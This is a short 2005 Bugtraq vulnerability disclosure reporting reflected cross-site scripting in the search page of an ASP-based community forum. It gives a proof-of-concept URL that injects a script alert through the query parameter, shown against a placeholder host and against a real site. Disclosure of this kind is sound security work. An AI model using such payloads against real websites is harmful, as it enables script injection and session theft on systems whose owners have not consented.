[39318] in bugtraq
XSS IN Community forum
daemon@ATHENA.MIT.EDU (abducter_minds@yahoo.com)
Tue Jun 28 13:36:28 2005
Date: 27 Jun 2005 23:30:17 -0000
Message-ID: <20050627233017.18449.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: abducter_minds@yahoo.com
To: bugtraq@securityfocus.com
there is aproplem in Community forum
community forum make by asp
i found a xss in search
when we typed
http://www.victim.com/forum/search/SearchResults.aspx?q=><script>alert('CSS%20Vulnerable')</script><b%20a=a%20&f=&u=
EXAMPLE
http://forums.asp.net/search/SearchResults.aspx?q=><script>alert('CSS%20Vulnerable')</script><b%20a=a%20&f=&u=
it will make a xss
credit
abducter_minds@yahoo.com
all ARAB { EGYPT }
